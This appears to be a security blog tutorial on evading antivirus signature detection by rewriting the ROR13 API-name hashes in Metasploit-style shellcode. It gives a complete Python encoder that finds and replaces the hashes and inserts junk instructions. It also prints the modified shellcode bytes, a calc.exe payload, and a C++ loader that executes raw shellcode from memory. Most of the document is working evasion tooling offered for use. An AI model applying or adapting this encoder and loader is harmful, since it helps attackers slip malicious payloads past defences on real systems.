Shellcode often parses the Export Address Table of modules to determine the addresses of functions to be called, in a similar manner to how I’ve described here.
Metasploit, and similar systems that produce shellcode often lookup function names by hash value. The primary benefit of doing this is it reduces the size of the shellcode.
However, since these hash values are fixed, they are often targeted by Anti-Virus vendors. This article will look at how we go about changing these values to evade signature based detection.
ROR
Metasploit and CobaltStrike use ROR13 instructions to calculate a hash of functions that are imported. Rotate Right (ROR) is a assembly instruction that shifts all binary numbers to the right by a certain number of positions.
We can see the effect of a ROR instruction using WinDbg. In the below example, the r9d register is rotated to the right twice.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 | 00000220`4af50038 41c1c902 ror r9d,2 0:000> .formats @r9d Evaluate expression: Hex: 00000000`80000014 Decimal: 2147483668 Decimal (unsigned) : 2147483668 Octal: 0000000000020000000024 Binary: 00000000 00000000 00000000 00000000 10000000 00000000 00000000 00010100 Chars: ........ Time: ***** Invalid Float: low -2.8026e-044 high 0 Double: 1.061e-314 0:000> p 0:000> .formats @r9d Evaluate expression: Hex: 00000000`20000005 Decimal: 536870917 Decimal (unsigned) : 536870917 Octal: 0000000000004000000005 Binary: 00000000 00000000 00000000 00000000 00100000 00000000 00000000 00000101 Chars: .... ... Time: Mon Jan 5 18:48:37 1987 Float: low 1.0842e-019 high 0 Double: 2.65249e-315 |
Python ROR13 Hash Calculation
The same algorithm used by Metasploit can be implemented in Python to determine the hash values.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 | # (dword >> bits) shifts the bits of dword to the right by bits positions. # (dword << (32 - bits)) shifts the bits of dword to the left by 32 - bits positions. # | performs a bitwise OR operation between the two shifted values, effectively combining the results of the right and left shifts. # The result might be more than 32 bits long after the left shift, so using & 0xFFFFFFFF masks the result to ensure it fits within a 32-bit unsigned integer. def ror(dword, bits): return (dword >> bits | dword << ( 32 - bits)) & 0xFFFFFFFF def unicode (string, uppercase = True ): # Module name is converted to unicode if uppercase: string = string.upper() result = '\x00' .join(string) + '\x00' return result def calculate_hash(module, function, bits): module_hash = 0 function_hash = 0 for c in unicode (module + '\x00' ): module_hash = ror(module_hash, bits) module_hash + = ord (c) for c in function + '\x00' : function_hash = ror(function_hash, bits) function_hash + = ord (c) print ( '[+] Module Hash: 0x%08X ' % (module_hash)) print ( '[+] Function Hash: 0x%08X ' % (function_hash)) hash = module_hash + function_hash & 0xFFFFFFFF return hash def main(): module = "Kernel32.dll" function = "WinExec" hash = calculate_hash(module, function, 13 ) print ( '[+] Final Hash: 0x%08X ' % ( hash )) if __name__ = = "__main__" : main() |
This should print out the hash for WinExec;
1 2 3 4 | python lookup_function_name.py [+] Module Hash: 0x92AF16DA [+] Function Hash: 0xF4C07457 [+] Final Hash: 0x876F8B31 |
Modifying Existing Shellcode
The below code carries out the following steps;
- Uses pefile to list exported functions from a number of common DLL’s
- Generates ROR13 hashes based on these exported functions
- Scans supplied Shellcode for these values
- Replaces existing ROR hash values with hashes using a different key length (e.g, rotate X number of times) using a ROL operation
Obviously this code needs to be run on Windows to extract the function names from DLL’s!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 | import pefile import os from capstone import * import argparse hash_dict = dict () def lookup_functions(dll_path): pe = pefile.PE(dll_path) export_dir = pe.OPTIONAL_HEADER.DATA_DIRECTORY[pefile.DIRECTORY_ENTRY[ 'IMAGE_DIRECTORY_ENTRY_EXPORT' ]] for exp in pe.DIRECTORY_ENTRY_EXPORT.symbols: if exp.name: function_name = exp.name.decode() dll_name = os.path.basename(dll_path) hash = calculate_hash(dll_name, function_name, 13 , "ror" ) hash_dict[ hash ] = dll_name + '!' + function_name def ror(dword, bits): return ((dword >> (bits % 32 )) | (dword << ( 32 - (bits % 32 )))) & 0xffffffff def rol(dword, bits): return ((dword << (bits % 32 )) | (dword >> ( 32 - (bits % 32 )))) & 0xffffffff def unicode (string, uppercase = True ): result = '' if uppercase: string = string.upper() for c in string: result + = c + '\x00' return result def calculate_hash(module, function, bits, hash_type): module_hash = 0 function_hash = 0 for c in unicode (module + '\x00' ): if hash_type = = "ror" : module_hash = ror(module_hash, bits) if hash_type = = "rol" : module_hash = rol(module_hash, bits) module_hash + = ord (c) for c in function + '\x00' : if hash_type = = "ror" : function_hash = ror(function_hash, bits) if hash_type = = "rol" : function_hash = rol(function_hash, bits) function_hash + = ord (c) hash = module_hash + function_hash & 0xFFFFFFFF return hash def check_shellcode(shellcode, pattern): byte_data = pattern.to_bytes( 4 , 'big' ) reversed_bytes = byte_data[:: - 1 ] index = shellcode.find(reversed_bytes) return index def replace_bytes_at_offset(data, offset, new_bytes): data = bytearray(data) end_offset = offset + len (new_bytes) data[offset:end_offset] = new_bytes return bytes(data) def highlight_byte_changes(original_bytes, modified_bytes): highlighted = [] for original, modified in zip (original_bytes, modified_bytes): if original = = modified: highlighted.append(f "\\x{original:02X}" ) else : highlighted.append(f "\\x{original:02X} -> \\x{modified:02X}" ) return "".join(highlighted) def find_ror_instructions(data, search_bytes): occurrences = [] index = 0 while True : try : index = data.index(search_bytes, index) occurrences.append(index) index + = 1 except ValueError: break return occurrences def process_shellcode(shellcode,my_key): new_shellcode = shellcode for key,value in hash_dict.items(): index = check_shellcode(shellcode, key) if index ! = - 1 : print ( '[+] 0x%08X = %s offset: %s' % (key, value, index)) dll_name = value.split( '!' )[ 0 ] function_name = value.split( '!' )[ 1 ] hash = calculate_hash(dll_name, function_name, my_key, "rol" ) print ( '[+] New value: 0x%08X' % ( hash )) byte_data = hash .to_bytes( 4 , 'big' ) reversed_bytes = byte_data[:: - 1 ] new_shellcode = replace_bytes_at_offset(new_shellcode, index, reversed_bytes) hex_string = ' '.join(' \\x{: 02X }'. format (byte) for byte in new_shellcode) print ( "[+] Changing ROR key" ) # \x41\xC1\xC9\x0D ror r9d,0xd ror_instances = find_ror_instructions(new_shellcode,b "\x41\xC1\xC9\x0D" ) for ror_offset in ror_instances: bytes_key = my_key.to_bytes( 1 , 'big' ) # We're replacing the ROR with a ROL here. ROR = \x41\xC1\xC9 ROL = \x41\xC1\xC1\ new_shellcode = replace_bytes_at_offset(new_shellcode, ror_offset, b "\x41\xC1\xC1" + bytes_key) return new_shellcode def main(): parser = argparse.ArgumentParser(description = 'Process shellcode.' ) parser.add_argument( '--shellcode' , help = 'Filename containing raw shellcode' ) parser.add_argument( '--key' , type = int , help = 'ROR key to be used' ) parser.add_argument( '--decompile' , action = 'store_true' , help = 'Show the resulting modified shellcode' ) args = parser.parse_args() file_path = args.shellcode my_key = args.key decompile = args.decompile if (my_key < 32 ) or (my_key > 255 ): print ( "[+] Key must be between 33 and 255" ) exit() if file_path and my_key: print (f "[+] Encoding shellcode {file_path} using ROR key: {my_key}" ) else : print ( "[+] Please provide both --shellcode and --key arguments." ) exit() # Populate hash_dict global variable dll_paths = [ 'C:\\Windows\\System32\\kernel32.dll' , 'C:\\Windows\\System32\\ws2_32.dll' , 'C:\\Windows\\System32\\wininet.dll' , 'C:\\Windows\\System32\\dnsapi.dll' ] for dll in dll_paths: lookup_functions(dll) # Read existing shellcode print ( "[+] Reading shellcode" ) try : with open (file_path, "rb" ) as file : shellcode = file .read() except FileNotFoundError: print ( "File not found or cannot be opened." ) new_shellcode = process_shellcode(shellcode,my_key) # Add some NOP's position = 1 bytes_to_insert = b "\xFF\xC0\xFF\xC8" * 5 # INC EAX, DEC EAX modified_shellcode = new_shellcode[:position] + bytes_to_insert + new_shellcode[position:] # print("[+] Modifications") # highlighted_changes = highlight_byte_changes(shellcode, modified_shellcode) # print(highlighted_changes) print ( "Shellcode size: " + str ( len (modified_shellcode))) print ( "[+] Final shellcode (C++)" ) hex_string = ' '.join(' \\x{: 02X }'. format (byte) for byte in modified_shellcode) print (hex_string) print ( "[+] Final shellcode (C#)" ) hex_string = ' '.join(' 0x {: 02X },'. format (byte) for byte in modified_shellcode) print (hex_string[: - 1 ]) outputfile = "output.bin" print ( "[+] Writing bytes to file: " + outputfile) with open (outputfile, 'wb' ) as file : file .write(modified_shellcode) if (decompile = = True ): print ( "[+] ASM Code" ) md = Cs(CS_ARCH_X86, CS_MODE_64) for i in md.disasm(modified_shellcode, 0x1000 ): print ( "0x%x:\t%s\t%s\t%s" % (i.address, ' ' .join( '{:02x}' . format (x) for x in i.bytes), i.mnemonic, i.op_str)) if __name__ = = "__main__" : main() |
Running the Encoder
Executing the code, we can see the existing ROR13 values are identified and replaced with ROL33 values.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 | python function_encoder.py --shellcode calc.raw --key 33 [+] Encoding shellcode calc.raw using ROR key: 33 [+] Reading shellcode [+] 0x56A2B5F0 = kernel32.dll!ExitProcess offset: 229 [+] New value: 0xC5EE264A [+] 0x9DBD95A6 = kernel32.dll!GetVersion offset: 235 [+] New value: 0xC5EB3370 [+] 0x876F8B31 = kernel32.dll!WinExec offset: 222 [+] New value: 0xC5E8D7CA [+] Changing ROR key Shellcode size: 296 [+] Final shellcode (C++) \xFC\xFF\xC0\xFF\xC8\xFF\xC0\xFF\xC8\xFF\xC0\xFF\xC8\xFF\xC0\xFF\xC8\xFF\xC0\xFF\xC8\x48\x83\xE4\xF0\xE8\xC0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xD2\x65\x48\x8B\x52\x60\x48\x8B\x52\x18\x48\x8B\x52\x20\x48\x8B\x72\x50\x48\x0F\xB7\x4A\x4A\x4D\x31\xC9\x48\x31\xC0\xAC\x3C\x61\x7C\x02\x2C\x20\x41\xC1\xC1\x21\x41\x01\xC1\xE2\xED\x52\x41\x51\x48\x8B\x52\x20\x8B\x42\x3C\x48\x01\xD0\x8B\x80\x88\x00\x00\x00\x48\x85\xC0\x74\x67\x48\x01\xD0\x50\x8B\x48\x18\x44\x8B\x40\x20\x49\x01\xD0\xE3\x56\x48\xFF\xC9\x41\x8B\x34\x88\x48\x01\xD6\x4D\x31\xC9\x48\x31\xC0\xAC\x41\xC1\xC1\x21\x41\x01\xC1\x38\xE0\x75\xF1\x4C\x03\x4C\x24\x08\x45\x39\xD1\x75\xD8\x58\x44\x8B\x40\x24\x49\x01\xD0\x66\x41\x8B\x0C\x48\x44\x8B\x40\x1C\x49\x01\xD0\x41\x8B\x04\x88\x48\x01\xD0\x41\x58\x41\x58\x5E\x59\x5A\x41\x58\x41\x59\x41\x5A\x48\x83\xEC\x20\x41\x52\xFF\xE0\x58\x41\x59\x5A\x48\x8B\x12\xE9\x57\xFF\xFF\xFF\x5D\x48\xBA\x01\x00\x00\x00\x00\x00\x00\x00\x48\x8D\x8D\x01\x01\x00\x00\x41\xBA\xCA\xD7\xE8\xC5\xFF\xD5\xBB\x4A\x26\xEE\xC5\x41\xBA\x70\x33\xEB\xC5\xFF\xD5\x48\x83\xC4\x28\x3C\x06\x7C\x0A\x80\xFB\xE0\x75\x05\xBB\x47\x13\x72\x6F\x6A\x00\x59\x41\x89\xDA\xFF\xD5\x63\x61\x6C\x63\x2E\x65\x78\x65\x00 [+] Final shellcode (C#) 0xFC,0xFF,0xC0,0xFF,0xC8,0xFF,0xC0,0xFF,0xC8,0xFF,0xC0,0xFF,0xC8,0xFF,0xC0,0xFF,0xC8,0xFF,0xC0,0xFF,0xC8,0x48,0x83,0xE4,0xF0,0xE8,0xC0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,0x31,0xD2,0x65,0x48,0x8B,0x52,0x60,0x48,0x8B,0x52,0x18,0x48,0x8B,0x52,0x20,0x48,0x8B,0x72,0x50,0x48,0x0F,0xB7,0x4A,0x4A,0x4D,0x31,0xC9,0x48,0x31,0xC0,0xAC,0x3C,0x61,0x7C,0x02,0x2C,0x20,0x41,0xC1,0xC1,0x21,0x41,0x01,0xC1,0xE2,0xED,0x52,0x41,0x51,0x48,0x8B,0x52,0x20,0x8B,0x42,0x3C,0x48,0x01,0xD0,0x8B,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xC0,0x74,0x67,0x48,0x01,0xD0,0x50,0x8B,0x48,0x18,0x44,0x8B,0x40,0x20,0x49,0x01,0xD0,0xE3,0x56,0x48,0xFF,0xC9,0x41,0x8B,0x34,0x88,0x48,0x01,0xD6,0x4D,0x31,0xC9,0x48,0x31,0xC0,0xAC,0x41,0xC1,0xC1,0x21,0x41,0x01,0xC1,0x38,0xE0,0x75,0xF1,0x4C,0x03,0x4C,0x24,0x08,0x45,0x39,0xD1,0x75,0xD8,0x58,0x44,0x8B,0x40,0x24,0x49,0x01,0xD0,0x66,0x41,0x8B,0x0C,0x48,0x44,0x8B,0x40,0x1C,0x49,0x01,0xD0,0x41,0x8B,0x04,0x88,0x48,0x01,0xD0,0x41,0x58,0x41,0x58,0x5E,0x59,0x5A,0x41,0x58,0x41,0x59,0x41,0x5A,0x48,0x83,0xEC,0x20,0x41,0x52,0xFF,0xE0,0x58,0x41,0x59,0x5A,0x48,0x8B,0x12,0xE9,0x57,0xFF,0xFF,0xFF,0x5D,0x48,0xBA,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0x8D,0x8D,0x01,0x01,0x00,0x00,0x41,0xBA,0xCA,0xD7,0xE8,0xC5,0xFF,0xD5,0xBB,0x4A,0x26,0xEE,0xC5,0x41,0xBA,0x70,0x33,0xEB,0xC5,0xFF,0xD5,0x48,0x83,0xC4,0x28,0x3C,0x06,0x7C,0x0A,0x80,0xFB,0xE0,0x75,0x05,0xBB,0x47,0x13,0x72,0x6F,0x6A,0x00,0x59,0x41,0x89,0xDA,0xFF,0xD5,0x63,0x61,0x6C,0x63,0x2E,0x65,0x78,0x65,0x00 [+] Writing bytes to file: output.bin |
The resulting shellcode can then be imported into a runner;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 | #include <Windows.h> #include <iostream> unsigned char code[] = "\xFC\x48\x83\xE4\xF0\xE8\xC0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xD2\x65\x48\x8B" "\x52\x60\x48\x8B\x52\x18\x48\x8B\x52\x20\x48\x8B\x72\x50\x48\x0F\xB7\x4A\x4A\x4D\x31\xC9\x48" "\x31\xC0\xAC\x3C\x61\x7C\x02\x2C\x20\x41\xC1\xC9\x0C\x41\x01\xC1\xE2\xED\x52\x41\x51\x48\x8B" "\x52\x20\x8B\x42\x3C\x48\x01\xD0\x8B\x80\x88\x00\x00\x00\x48\x85\xC0\x74\x67\x48\x01\xD0\x50" "\x8B\x48\x18\x44\x8B\x40\x20\x49\x01\xD0\xE3\x56\x48\xFF\xC9\x41\x8B\x34\x88\x48\x01\xD6\x4D" "\x31\xC9\x48\x31\xC0\xAC\x41\xC1\xC9\x0C\x41\x01\xC1\x38\xE0\x75\xF1\x4C\x03\x4C\x24\x08\x45" "\x39\xD1\x75\xD8\x58\x44\x8B\x40\x24\x49\x01\xD0\x66\x41\x8B\x0C\x48\x44\x8B\x40\x1C\x49\x01" "\xD0\x41\x8B\x04\x88\x48\x01\xD0\x41\x58\x41\x58\x5E\x59\x5A\x41\x58\x41\x59\x41\x5A\x48\x83" "\xEC\x20\x41\x52\xFF\xE0\x58\x41\x59\x5A\x48\x8B\x12\xE9\x57\xFF\xFF\xFF\x5D\x48\xBA\x01\x00" "\x00\x00\x00\x00\x00\x00\x48\x8D\x8D\x01\x01\x00\x00\x41\xBA\x03\x39\x68\xBB\xFF\xD5\xBB\x8B" "\x4F\x16\xEC\x41\xBA\xB7\x7A\x96\xCE\xFF\xD5\x48\x83\xC4\x28\x3C\x06\x7C\x0A\x80\xFB\xE0\x75" "\x05\xBB\x47\x13\x72\x6F\x6A\x00\x59\x41\x89\xDA\xFF\xD5\x63\x61\x6C\x63\x2E\x65\x78\x65\x00" ; int main() { HANDLE buffer = VirtualAlloc(NULL, sizeof (code), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); memcpy (buffer, code, sizeof (code)); DWORD oldProtect; VirtualProtect(buffer, sizeof (code),PAGE_EXECUTE_READ, &oldProtect); (*( void (*)()) buffer)(); } |
In Conclusion
Carrying out this slight modification can greatly reduce the shellcodes detection rates. Alternative instructions could be implemented, instead of using a ROR/ROL value. You would just need to ensure the new instructions do not generate hash collisions. To extend the concept further, you could implement bespoke PEB traversal code and attach that to the existing shellcode.